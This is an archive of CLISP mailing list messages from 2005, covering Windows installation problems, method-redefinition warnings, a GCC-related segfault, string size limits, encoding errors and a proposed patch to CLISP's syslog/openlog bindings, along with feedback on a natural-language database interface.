> translate-logical-pathname doesn't work, but when I reset
> (logical-pathname-translations "PACKAGE") with it's own "self-mangled"
> value, it works.  Ie. setting logical-pathname-translations with
> pathnames made with MERGE-PATHNAMES makes the bug appear, but setting
> it with #P paths doesn't.

I think this is what causes your problem:

(pathname-version (merge-pathnames "foo" "*.*"))
==> :NEWEST
(pathname-version (merge-pathnames "foo" "*.*" nil))
==> NIL
(pathname-version #P"foo.*")
==> NIL


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Hi Guys CLISP is great,

but on the 2.33.1 windows distribution should not lisp.exe be moved up fr=
om the
directory base to the main directory?

See http://www.cs.umu.se/~mjm/step

for what I am doing with clisp.

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The Internet has not given the unequivocal answer.
In the distribution kit I have not found indications.

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>=20
> lisp.exe is just the run time, you should never invoke it directly.

I know, I know, but I had to move it up from the directory "base" when
installing yesterday on the PC. CLISP didn't run out of the box as it had
before. You might want to check the status of the tar on source forge.

> > See http://www.cs.umu.se/~mjm/step
> cool!
>=20
> note that your database gives many absurdly wrong answers, you might
> want to check your sources.

I know. It actually isn't my database - I got it off the web. As a geogra=
phy
buff I cringe everytime it give wrong answers. I just don't have time to
correct it. In the future I will allow users to type in corrections throu=
gh the
interface in NL.=20

Have you ever seen a relational database with high quality data?

>=20
> e.g., "According to the database, the 5 countries with a significant
> number of people being the Whites named Jewish are Israel, Moldova,
> Morocco, Tunisia and Ukraine." - there are virtually no Jews in either
> Morocco or Tunisia (they all were expelled 55 years ago).

I think that the Tunisian Jews are help up as rare example of mutual Jewi=
sh-Arab
tolerance in the middle east, so they tend to get a lot of mention.

> Check <http://www.cia.gov/cia/publications/factbook/>
>=20
> "There is no ethnic group named Jews in the database." - this is the
> Soviet version of ethnography.

Ok I can correct this one. This is the fault of STEP/WordNet

>=20
> "list the indo-european languages " =3D=3D> no Ukranian, no Polish?!
> the only Slavic language is Russian!

My fault again. You can see this in the configuration file world.lisp tha=
t I
provide on my web-site

>=20
> an example was "countries following Atheism" - result " There is no
> religion named Atheism in the database. "

This is there to show the reporting of false presuppositions.

> " According to the database, the 77 countries where a significant numbe=
r
> of people believe in the Islamic religions are ..." - it would be nice
> to have a reference of what constitutes "a significant number".

Yes. I am looking for better wording here.

>=20
> "List Cities in Soviet Union" =3D=3D> "The database does not contain a =
city
> of North, of the province of Russia, named North. "
>=20

My fault. The system is a little flaky. This should be easy to patch howe=
ver.

> "List Cities in Russia, with population" =3D=3D>
> " Do you want the cities of Russia, of the states? =20
> Do you want the cities of Russia?  "
> both options give the same list, but without population.

Natural language processing is hard...

>=20
> "Which countries border countries which border countries with followers
> of Islam " =3D=3D> hangs

Actually this will work. Full recursive attachment does not work yet, tho=
ugh it
will soonish...

> it would be nice is the number were formatted with "~:D".

Good point.

>=20
> it's _very_ nice that you keep the history of answers,
> but you should add the history of _questions_ too.

Another good point

>=20
> you don't mention CLISP on that page, although the response
> " There is no NIL NIL NIL NIL NIL in the database. "

LOL. Actually the configuration file does too.=20

Cheers,
MM


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Hi,

I'm trying to update an old CL source (written back in 1995...) to CLISP 2.33.2. 
It has a construct that boils down to

     (defgeneric bar ())
     (defmethod bar () (print "bar"))
     (handler-bind ((warning #'muffle-warning))
       (defmethod bar () (print "bar")))

CLISP outputs
WARNING:
DEFMETHOD: redefining method (BAR NIL) in 
/shared/home/schrod/src/xindy/xindy-src-2.2-rc2/test/try.lsp, was defined in 
top-level

(The code itself is actually buried in macros that construct that defmethod.)

Incidentially, when I try

     (defgeneric foo (a))
     (defmethod foo (a) (print "foo"))
     (handler-bind ((warning #'muffle-warning))
       (defmethod foo (a) (print "foo")))

redefinition warnings are suppressed. How can I also suppress warnings in the 
first case?

Any guidance or tips are very much appreciated,

	Joachim

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> *  <zwz@pf.hzh.fr> [2005-05-01 12:58:24 +0200]:
>
> but on the 2.33.1 windows distribution should not lisp.exe be moved up
> from the directory base to the main directory?

lisp.exe is just the run time, you should never invoke it directly.

please take a look at the following pages:
<http://www.podval.org/~sds/clisp/impnotes/image.html>
<http://www.podval.org/~sds/clisp/impnotes/clisp.html#opt-memfile>
<http://www.podval.org/~sds/clisp/impnotes/modules.html#linkset>
<http://www.podval.org/~sds/clisp/impnotes/modules.html#base-modules>

> See http://www.cs.umu.se/~mjm/step
cool!

note that your database gives many absurdly wrong answers, you might
want to check your sources.

e.g., "According to the database, the 5 countries with a significant
number of people being the Whites named Jewish are Israel, Moldova,
Morocco, Tunisia and Ukraine." - there are virtually no Jews in either
Morocco or Tunisia (they all were expelled 55 years ago).
Check <http://www.cia.gov/cia/publications/factbook/>

"There is no ethnic group named Jews in the database." - this is the
Soviet version of ethnography.

"list the indo-european languages " ==> no Ukranian, no Polish?!
the only Slavic language is Russian!

an example was "countries following Atheism" - result " There is no
religion named Atheism in the database. "



" According to the database, the 77 countries where a significant number
of people believe in the Islamic religions are ..." - it would be nice
to have a reference of what constitutes "a significant number".

"List Cities in Soviet Union" ==> "The database does not contain a city
of North, of the province of Russia, named North. "

"List Cities in Russia, with population" ==>
" Do you want the cities of Russia, of the states?  
Do you want the cities of Russia?  "
both options give the same list, but without population.

"Which countries border countries which border countries with followers
of Islam " ==> hangs


it would be nice is the number were formatted with "~:D".

it's _very_ nice that you keep the history of answers,
but you should add the history of _questions_ too.

> for what I am doing with clisp.

you don't mention CLISP on that page, although the response
" There is no NIL NIL NIL NIL NIL in the database. "
betrays that you are indeed using a lisp.

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no.

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> * Joachim Schrod <wfpuebq@npz.bet> [2005-05-02 18:13:22 +0200]:
>
> WARNING:
> DEFMETHOD: redefining method (BAR NIL) in
> /shared/home/schrod/src/xindy/xindy-src-2.2-rc2/test/try.lsp, was
> defined in top-level

<http://www.podval.org/~sds/clisp/impnotes/flow-dict.html#suppress-check-redef>

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> *  <zwz@pf.hzh.fr> [2005-05-02 18:16:35 +0200]:
>
>> 
>> lisp.exe is just the run time, you should never invoke it directly.
>
> I know, I know, but I had to move it up from the directory "base" when
> installing yesterday on the PC. CLISP didn't run out of the box as it
> had before. You might want to check the status of the tar on source
> forge.

I don't understand.
did you run install.bat?

> Have you ever seen a relational database with high quality data?

yes.  when I populate it myself :-)

> I think that the Tunisian Jews are help up as rare example of mutual
> Jewish-Arab tolerance in the middle east, so they tend to get a lot of
> mention.

Yet another urban legend.
<http://www.jewishvirtuallibrary.org/jsource/anti-semitism/tunisjews.html>:
1948 Jewish population: 105,000
2003: 1,500

''Today, the 1,300 Jews comprise the country's largest indigenous
religious minority. "The Government assures freedom of worship for the
Jewish community and pays the salary of the Grand Rabbi" of the
community.''

Jews are an "endangered species" there: now that they became nearly
extinct after a relentless poaching, they are officially protected.
Some tolerance.

At any rate, 0.015% is hardly "sizable" (the percentage of Jews in the
US is about 1,000 times higher, but US is not listed as a country with
many Jews).

>> you don't mention CLISP on that page, although the response
>> " There is no NIL NIL NIL NIL NIL in the database. "
>
> LOL. Actually the configuration file does too. 

does what?

PS.

it would be nice if you mentioned that your implementation language is
Lisp (linking to http://www.lisp.org) and your platform is CLISP
(linking to http://clisp.cons.org).

If you wish, we can list Step in
<http://clisp.cons.org/resources.html#software>.


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>>>>> "Sam" =3D=3D Sam Steingold <sds@gnu.org> writes:

>> * Joachim Schrod <wfpuebq@npz.bet> [2005-05-02 18:13:22 +0200]:
>>=20
>> WARNING:
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>> defined in top-level

Sam> <http://www.podval.org/~sds/clisp/impnotes/flow-dict.html#suppress-c=
heck-redef>

Yep! Actually, I read this section, but didn't understand that it
concerned my case. I should have recognized that a defmethod without
specifiers boils down to a defun.

Great support, as usual with you CLISP guys. Thanks!

	Joachim

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Why?

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> >> lisp.exe is just the run time, you should never invoke it directly.
> >
> > I know, I know, but I had to move it up from the directory "base" whe=
n
> > installing yesterday on the PC. CLISP didn't run out of the box as it
> > had before. You might want to check the status of the tar on source
> > forge.
>=20
> I don't understand.
> did you run install.bat?

Yes I did. Perhaps I munged something up, but it might be worth looking=20
into the state of that tar file for the windows distribution. Everything =
works
for me now, but I had to manually move lisp.exe myself.

>=20
> > Have you ever seen a relational database with high quality data?
>=20
> yes.  when I populate it myself :-)

Hmmmm. You don't have any high quality relational databases that you want=
 an NL
interface for, do you? I am looking for more databases to apply STEP to.=20

> it would be nice if you mentioned that your implementation language is
> Lisp (linking to http://www.lisp.org) and your platform is CLISP
> (linking to http://clisp.cons.org).

OK. I made the update to http://www.cs.umu.se/~mjm/step

>=20
> If you wish, we can list Step in
> <http://clisp.cons.org/resources.html#software>.

That would be great.

Cheers,
MM


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> *  <zwz@pf.hzh.fr> [2005-05-03 16:55:32 +0200]:
>
>> >> lisp.exe is just the run time, you should never invoke it directly.
>> >
>> > I know, I know, but I had to move it up from the directory "base" when
>> > installing yesterday on the PC. CLISP didn't run out of the box as it
>> > had before. You might want to check the status of the tar on source
>> > forge.
>> 
>> I don't understand.
>> did you run install.bat?
>
> Yes I did. Perhaps I munged something up, but it might be worth
> looking into the state of that tar file for the windows distribution.

it's not a tar, it's a zip.
I just d/l it, it looks fine.

> Everything works for me now, but I had to manually move lisp.exe
> myself.

you should have edited clisp.bat instead.

> Hmmmm. You don't have any high quality relational databases that you
> want an NL interface for, do you? I am looking for more databases to
> apply STEP to.

ask CIA for a DB version of the WFB.

> OK. I made the update to http://www.cs.umu.se/~mjm/step

thanks. what do you use to interface CLISP and ODBC?

>> If you wish, we can list Step in
>> <http://clisp.cons.org/resources.html#software>.
> That would be great.
done (web is updated daily, it will be up tomorrow)

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>=20
> you should have edited clisp.bat instead.

Yes exactly, I guess I am asking why you don't.
Here I made a log:

From http://sourceforge.net/project/showfiles.php?group_id=3D1355
I take clisp-2.33.1-win32 from Dusseldorf saving it to desktop.

I Extract it to C:\

Now inside of C:\clisp-2.33.1 I click on install.bat
I answer 'Y' to all questions.

When I click on the minora shortcut on the desktop the system goes
into "seacrhing for lisp.exe" mode. I have to click "browse" and then
locate lisp.exe in c:\clisp-2.33.1\base

More to the point in the batch file clisp.bat in  C:\clisp-2.33.1
I see that

C:\clisp-2.33.1\lisp.exe -B "C:/clisp-2.33.1/" -M
"C:\clisp-2.33.1\/base/lispin\
it.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

So my question is why not, on the distribution, update this file to

C:\clisp-2.33.1\base\lisp.exe -B "C:/clisp-2.33.1/" -M
"C:\clisp-2.33.1\/base/l\
ispinit.mem" %1 %2 %3 %4 %5 %6 %7 %8 %9

Seems like it would run better.


> ask CIA for a DB version of the WFB.

Good point. I will when STEP is more mature. If they send me a copy of th=
e
database, I want to be able to turn around on it within a few days time t=
o show
them how quick the interface may be authored. In the meantime I test and =
develop
on the junk Mondial sample.

> thanks. what do you use to interface CLISP and ODBC?

A student of mine just finished this. He downloaded the code from  Andrea=
s
Thiele that relies mostly on the FFI package. When I get the time I am go=
ing to
go over his code in more detail to get a better understanding.
I suppose you want me to put in a link to Andreas' page too.

>=20
> >> If you wish, we can list Step in
> >> <http://clisp.cons.org/resources.html#software>.

Thanks I see it now. Hopefully it will bring some more visitors. I am get=
ting
about 2 per day as it stands. I suppose this is a healthy amount given th=
e
scrapy condition of the system and database.=20

Cheers,
MM


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> *  <zwz@pf.hzh.fr> [2005-05-04 10:55:59 +0200]:
>
>> you should have edited clisp.bat instead.
> Yes exactly, I guess I am asking why you don't.

this has been fixed in the CVS for quite some time.

>> what do you use to interface CLISP and ODBC?
>
> A student of mine just finished this. He downloaded the code from
> Andreas Thiele that relies mostly on the FFI package. When I get the
> time I am going to go over his code in more detail to get a better
> understanding.  I suppose you want me to put in a link to Andreas'
> page too.

we do link to him.
did your student have to make a lot of changes?

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This may seem like a odd question but was a new version of clisp released yesterday?

I received a Sourceforge notification (dated 2005-05-04) stating that a new version was released but if I follow the link the newest version on Sourceforge is 2.33.2 dated 2004-06-02.


What am I missing here?


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> * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2005-05-05 07:53:38 -0500]:
>
> This may seem like a odd question but was a new version of clisp
> released yesterday?

no.

> I received a Sourceforge notification (dated 2005-05-04) stating that
> a new version was released but if I follow the link the newest version
> on Sourceforge is 2.33.2 dated 2004-06-02.

a new bug-fix build for w32 was released.

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Date: Thu May  5 09:11:39 2005
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Hi all!

This is a bug report. It applies to CLISP 2.33.2.

Short version: When eval'ing (print 1 2), CLISP crashes with a 
segmentation fault.

A detailed description follows.

Platform / Setup:
=================

My system is i386-Debian (woody). The compiler and C library are stock 
debian, the kernel I compiled myself:

Linux 2.4.27 i686 unknown
gcc version 2.95.4 20011002 (Debian prerelease)
GNU C Library stable release version 2.2.5

The source was downloaded on Wed May 4 2005, from 
http://prdownloads.sourceforge.net/clisp/clisp-2.33.2.tar.bz2?download .

Please see below for the output of "clisp --version".

Additionally I compiled and installed libsigsegv-2.2, which is not part 
of the debian stable release.

Problem description:
====================

1. When I do a clean build like this:

# ./configure --build build

it will not complete, because CLISP will crash during the testsuite. The 
last lines of output are:

(PRINT 1 2)
*** - handle_fault error2 ! address = 0xc0000082 not in 
[0x68025d58,0x68084000) !
SIGSEGV cannot be cured. Fault address = 0xc0000082.
make[1]: *** [tests] Segmentation fault

Further investigation:

# cd build
# ./lisp.run -M lispinit.mem

(CLISP starts ok; then, at the repl:)

[1]> (print 1 2)

*** - handle_fault error2 ! address = 0xc0000082 not in 
[0x68056438,0x68084000) !
SIGSEGV cannot be cured. Fault address = 0xc0000082.
Segmentation fault

The version output from this binary is:
# ./lisp.run --version

WARNING: No installation directory specified.
Please try: ./lisp.run -B /usr/local/lib/clisp
GNU CLISP 2.33.2 (2004-06-02) (built 2005-05-05 17:15:50)
Software: GNU C 2.95.4 20011002 (Debian prerelease) ANSI C program
Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS 
GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE 
BASE-CHAR=CHARACTER PC386 UNIX)
Installation directory:
*** - SYSTEM::LIB-DIRECTORY: library directory is not known, use a 
command line option to specify it


2. However, when I do a debug build:

# ./configure --with-debug --build build-g

the testsuite completes ok, and

# cd build-g
# ./lisp-run -M lispinit.mem

[1]> (print 1 2)

*** - PRINT: argument 2 is not a STREAM
Break 1 [2]>

behaves correctly.

The version output from the debug binary is:
# ./lisp.run --version
STACK depth: 16359
SP depth: 67110005

WARNING: No installation directory specified.
Please try: ./lisp.run -B /usr/local/lib/clisp
GNU CLISP 2.33.2 (2004-06-02) (built 2005-05-05 17:36:44)
Software: GNU C 2.95.4 20011002 (Debian prerelease) ANSI C program
Features [SAFETY=3]: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER 
CLISP-DEBUG SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT 
UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
Installation directory:
*** - SYSTEM::LIB-DIRECTORY: library directory is not known, use a 
command line option to specify it

----

Any help would be greatly appreciated.

Best regards,

Theo Doukas.


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> * Theo Doukas <qbhxnf@trtragnxg.pbz> [2005-05-05 18:11:00 +0200]:
>
> Short version: When eval'ing (print 1 2), CLISP crashes with a
> segmentation fault.

known GCC bug, fixed in version 3.
http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355

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I'm trying to use POSIX:SYSLOG as:

  (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World"))

Here is what I get in /var/log/messages:

May  6 10:36:45 thalassa ^VL^\^H0^E[16830]: ÈÛÿ¿\203    ^G^H~g* ^VL^\^H

(I expected:
May  6 10:36:45 thalassa TEST[16830]: [Hello] World
)

What's wrong?


[7]> (defun lsencoding ()
  (format t "~%~{~32A ~A~%~}~%"
          (list
           'custom:*deFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING*
           'CUSTOM:*FOREIGN-ENCODING*      CUSTOM:*FOREIGN-ENCODING*
           'CUSTOM:*MISC-ENCODING*         CUSTOM:*MISC-ENCODING*
           'CUSTOM:*PATHNAME-ENCODING*     CUSTOM:*PATHNAME-ENCODING*
           'CUSTOM:*TERMINAL-ENCODING*     CUSTOM:*TERMINAL-ENCODING*
           'SYSTEM::*HTTP-ENCODING*        SYSTEM::*HTTP-ENCODING*)))
LSENCODING
[8]> (lsencoding)

*DEFAULT-FILE-ENCODING*          #<ENCODING ISO-8859-1 UNIX>
*FOREIGN-ENCODING*               #<ENCODING ISO-8859-1 UNIX>
*MISC-ENCODING*                  #<ENCODING ISO-8859-1 UNIX>
*PATHNAME-ENCODING*              #<ENCODING ISO-8859-1 UNIX>
*TERMINAL-ENCODING*              #<ENCODING UTF-8 UNIX>
*HTTP-ENCODING*                  #<ENCODING UTF-8 DOS>

NIL
[9]> (posix:openlog "TEST" :pid t :nowait t :facility 176)

[10]> (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World"))

[11]> (load "~/.common.lisp")
T
[12]> (com.informatimago.pjb:print-bug-report-info)


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.33.83 (2005-03-14) (built 3323445155) (memory 3323446250)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl    -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"
*FEATURES*                   
(:COM.INFORMATIMAGO.PJB IT.BESE.ARNESI.MOPP::HAVE-MOP :ASDF :REGEXP :SYSCALLS
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NIL



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Hello,

I am trying to install this according to the instructions on the page
in the Common Lisp Cookbook that is available on the Internet.
However, although I have installed Clisp and Emacs apparently
successfully, Ilisp does not install. When running icompile.bat,
feedback messages flash past and disappear into the night.

I am hampered by not being able to capture scrolling 'DOS' console output in
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I'm doing some DNA sequence manipulation in CLISP and encountering a
4MB size limit on strings.  Is there a way around this?  I want to do
operations like concatentate, substring, etc.

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> * John K. Hinsdale <uva@nyzn.pbz> [2005-05-06 08:11:39 -0400]:
>
> I'm doing some DNA sequence manipulation in CLISP and encountering a
> 4MB size limit on strings.  Is there a way around this?  I want to do
> operations like concatentate, substring, etc.

ARRAY-TOTAL-SIZE-LIMIT is a hard limit, there is no way around it.
Its value depends on your CPU:
32-bit: 2^24-1 (16MB)
64-bit: 2^32-1 (4GB)

there is no reason for CLISP not to support 2^48 fixnums on 64-bit
platforms, see
<https://sourceforge.net/tracker/index.php?func=detail&aid=999750&group_id=1355&atid=351355>

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> * John Sampson <wef.vqk@agyjbeyq.pbz> [2005-05-06 11:13:12 +0100]:
>
> I am hampered by not being able to capture scrolling 'DOS' console
> output in Windows XP. Is there a way of doing this?

start -> settings -> control panel -> console

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-06 10:42:41 +0200=
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>
> I'm trying to use POSIX:SYSLOG as:
>
>   (posix:syslog 3 176 "%s" (format nil "[~A] ~A" "Hello" "World"))

use this instead:

(posix:syslog 3 176 "[~A] ~A" "Hello" "World")

> Here is what I get in /var/log/messages:
>
> May  6 10:36:45 thalassa ^VL^\^H0^E[16830]: =C3=88=C3=9B=C3=BF=C2=BF\203 =
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>
> (I expected:
> May  6 10:36:45 thalassa TEST[16830]: [Hello] World
> )

please run under GDB and see what you are passing to syslog by stepping
through C_subr_syscalls_syslog().

alternatively, ltrace or strace should also help.


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I can't even view it that way if there is enough to scroll, let alone capture it.



> * John Sampson <wef.vqk@agyjbeyq.pbz> [2005-05-06 11:13:12 +0100]:

>

> I am hampered by not being able to capture scrolling 'DOS' console

> output in Windows XP. Is there a way of doing this?



start -> settings -> control panel -> console





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A Sam Steingold,


en el Readme.es que viene en el *.zip, tras realizar:

"teclee

      (without-package-lock ()
        (compile-file "src/config.lisp")
        (load "src/config.fas"))"

me da el siguiente error:

"Compiling file H:\clisp-2.33\full\src\config.lisp ...
*** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conversi=
on
Break 1 EXT[6]>_"

La carpeta "src" la he metido dentro de "full" para poder realizar:=20
"Cambie las cadenas en SRC/CONFIG.LISP, empleando para ello un editor de
textos.
Luego ejecute

         lisp.exe -M lispinit.mem"
(paso anterior al que me da error)

Lo he intentado compilar en un Intel Pentium 3 800Mhz con WIndows XP SP2.

=BFEs la compilaci=F3n necesaria o basta con el "install.bat" que viene e=
n el
*.zip?

Atentamente,

Alberto Jos=E9 Rubert Escuder

Gracias.



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Non hablar espanol, but perhaps look at

http://clisp.cons.org/faq.html#enc-err

it looks like this addresses exactly the error you're reporting.

Cheers


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> A Sam Steingold,
> 
> 
> en el Readme.es que viene en el *.zip, tras realizar:
> 
> "teclee
> 
>       (without-package-lock ()
>         (compile-file "src/config.lisp")
>         (load "src/config.fas"))"
> 
> me da el siguiente error:
> 
> "Compiling file H:\clisp-2.33\full\src\config.lisp ...
> *** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conversion
> Break 1 EXT[6]>_"
> 
> La carpeta "src" la he metido dentro de "full" para poder realizar: 
> "Cambie las cadenas en SRC/CONFIG.LISP, empleando para ello un editor de
> textos.
> Luego ejecute
> 
>          lisp.exe -M lispinit.mem"
> (paso anterior al que me da error)
> 
> Lo he intentado compilar en un Intel Pentium 3 800Mhz con WIndows XP SP2.
> 
> ¿Es la compilación necesaria o basta con el "install.bat" que viene en el
> *.zip?
> 
> Atentamente,
> 
> Alberto José Rubert Escuder
> 
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Alberto Jose Rubert Escuder writes:
>=20
> A Sam Steingold,
>=20
>=20
> en el Readme.es que viene en el *.zip, tras realizar:
>=20
> "teclee
>=20
>       (without-package-lock ()
>         (compile-file "src/config.lisp")
>         (load "src/config.fas"))"
>=20
> me da el siguiente error:
>=20
> "Compiling file H:\clisp-2.33\full\src\config.lisp ...
> *** - invalid byte sequence #xF3 #x6E #x2E #x22 in CHARSET:UTF-8 conv=
ersion
> Break 1 EXT[6]>=5F"

$ echo F36E2E22|hextobin
=F3n."

Tu archivo config.lisp no est=E1 en UTF-8 pero en ISO-8859-1.
Puedes hacer dos cosas, bien:
convertir config.lisp a UTF-8, por ejemplo con:

    iconv -f iso-8859-1 -t utf-8 config.lisp

(y quizas a=F1anendo una primiera l=EDnea:
  ;; -*- mode: lisp; coding: utf-8 -*-=20
para emacs),

o bien decir a clisp el encoding de tu archivo, por ejemplo con:

(let ((custom:*DEFAULT-FILE-ENCODING* (ext:make-encoding
                                           :charset charset:iso-8859-1
                                           :line-terminator :dos)))
  (without-package-lock ()
         (compile-file "src/config.lisp")
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I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG +
POSIX:SYSLOG to log the correct ident.


$ cvs diff -Nau
cvs diff: Diffing .
Index: calls.c
===================================================================
RCS file: /cvsroot/clisp/clisp/modules/syscalls/calls.c,v
retrieving revision 1.113
diff -a -u -r1.113 calls.c
--- calls.c	21 Apr 2005 17:00:59 -0000	1.113
+++ calls.c	7 May 2005 05:44:28 -0000
@@ -193,12 +193,16 @@
            LOCAL0 LOCAL1 LOCAL2 LOCAL3 LOCAL4 LOCAL5 LOCAL6 LOCAL7)
 DEFFLAGSET(syslog_opt_flags,LOG_PID LOG_CONS LOG_NDELAY LOG_ODELAY LOG_NOWAIT)
 #if defined(HAVE_OPENLOG)
+static char* log_ident=0;
 DEFUN(POSIX:OPENLOG,ident &key :PID :CONS :NDELAY :ODELAY :NOWAIT :FACILITY) {
   int facility = check_syslog_facility(popSTACK());
   int logopt = syslog_opt_flags();
   with_string_0(check_string(popSTACK()),GLO(misc_encoding),ident, {
       begin_system_call();
-      openlog(ident,logopt,facility);
+      if(log_ident!=0){ free(log_ident); log_ident=0; }
+      log_ident=(char*)malloc(strlen(ident)+1);
+      if(log_ident!=0){ strcpy(log_ident,ident); }
+      openlog(log_ident,logopt,facility);
       end_system_call();
     });
   VALUES0;
@@ -227,7 +231,12 @@
 }
 #if defined(HAVE_CLOSELOG)
 DEFUN(POSIX:CLOSELOG,) {
-  begin_system_call(); closelog(); end_system_call();
+  begin_system_call(); 
+  closelog(); 
+#if defined(HAVE_OPENLOG)
+  if(log_ident!=0){ free(log_ident); log_ident=0; }
+#endif
+  end_system_call();
   VALUES0;
 }
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-07 07:44:56 +0200]:
>
> I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG +
> POSIX:SYSLOG to log the correct ident.

thanks for figuring this out.
<http://www.opengroup.org/onlinepubs/009695399/functions/syslog.html>

        The openlog() and syslog() functions may allocate a file
        descriptor. It is not necessary to call openlog() prior to
        calling syslog().

        The closelog() function shall close any open file descriptors
        allocated by previous calls to openlog() or syslog().

are you sure that calling SYSLOG after CLOSELOG releases the indent will
cause no problems?

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-07 07:44:56 +0200]:
> >
> > I'm not sure this follows clisp rules, but it allows POSIX:OPENLOG +
> > POSIX:SYSLOG to log the correct ident.
> 
> thanks for figuring this out.
> <http://www.opengroup.org/onlinepubs/009695399/functions/syslog.html>
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>         The openlog() and syslog() functions may allocate a file
>         descriptor. It is not necessary to call openlog() prior to
>         calling syslog().
> 
>         The closelog() function shall close any open file descriptors
>         allocated by previous calls to openlog() or syslog().
> 
> are you sure that calling SYSLOG after CLOSELOG releases the indent will
> cause no problems?

No, but I'd say that'd be a bug in libc then.  If you want to guard
against this possible bug, then indeed it might be worthwhile not to
release it in CLOSELOG.

When syslog(3) is used without openlog(3), the ident used is
"typically" the program name (lisp.run).  I assume closelog reverts to
this state.  This is the behavior of glibc-2.3.2.  

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% /usr/local/bin/clisp -norc -ansi -q -K full -m 32M -I -Epathname ISO-8859-1 -Efile     ISO-8859-1 -Emisc     ISO-8859-1 -Eforeign  ISO-8859-1 -Eterminal UTF-8

[1]> (xlib:open-display "localhost")

*** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE
The following restarts are available:
USE-VALUE      :R1      
You may input a value to be used instead of (FDEFINITION
 'POSIX::HOSTENT-ADDR-TYPE).
RETRY          :R2      Retry
STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'POSIX::HOSTENT-ADDR-TYPE).
ABORT          :R4      ABORT
Break 1 [2]> (lisp-implementation-version)
"2.33.83 (2005-03-14) (built 3324433689) (memory 3324434889)"
Break 1 [2]> 


There are: HOSTENT-ADDR-LIST HOSTENT-ADDRTYPE
                                     ^^^^^^^^
------------------------------------------------------------------------

After:

(ext:without-package-lock (:posix)
 (defun posix::hostent-addr-type (&rest args)
  (apply (function posix::hostent-addrtype) args)))


[12]> (xlib:open-display "localhost")

*** - Connection failure to X11.0 server localhost display 0:
      No protocol specified
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [13]>

??? How can I specify the missing protocol?

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do you know what happens when ident==NULL is passed to openlog?

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Sam Steingold writes:
> do you know what happens when ident==NULL is passed to openlog?

The standard doesn't evision such an occurence:
http://www.opengroup.org/onlinepubs/007908799/xsh/openlog.html
"The ident argument is a string that is prepended to every message."

But  glibc openlog man page indicates that:

  The use  of openlog() is optional; it will automatically be called
  by syslog() if necessary, in which case ident will default to NULL.

and notes:

       The parameter ident in the call of openlog() is  probably  stored
       as-is.  Thus, if the string it points to is changed, syslog() may
       start prepending the changed string, and if the string it  points
       to  ceases to exist, the results are undefined.  Most portable is
       to use a string constant.


So we can guess that passing NULL as ident to openlog would work with
glibc, but this is not prudent to pass NULL to openlog.  If the user
wants the default ident, he should not call openlog.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-09 18:44:11 +0200]:
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> *** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE

fixed, thanks.

> [12]> (xlib:open-display "localhost")
>
> *** - Connection failure to X11.0 server localhost display 0:
>       No protocol specified
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> ??? How can I specify the missing protocol?

I have no idea.
could you please do ":bt" or even ":bt1" to figure out which function
reports this error?

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I applied your patch with some minor changes.
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-05-09 18:44:11 +0200]:
> >
> > *** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE
> 
> fixed, thanks.
> 
> > [12]> (xlib:open-display "localhost")
> >
> > *** - Connection failure to X11.0 server localhost display 0:
> >       No protocol specified
> > The following restarts are available:
> > ABORT          :R1      ABORT
> > Break 1 [13]>
> >
> > ??? How can I specify the missing protocol?
> 
> I have no idea.
> could you please do ":bt" or even ":bt1" to figure out which function
> reports this error?



[4]> (xlib:open-display "localhost")

*** - Connection failure to X11.0 server localhost display 0:
      No protocol specified
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [5]> :bt1
<1> #<SYSTEM-FUNCTION SHOW-STACK>
<2> #<COMPILED-FUNCTION SYSTEM::PRINT-BACKTRACE>
<3> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE>
<4> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE-1>
<5> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<6> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2-2>
<7> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<8> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2>
<9> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
- #<XLIB:CONNECTION-FAILURE #x204D0456>
- NIL
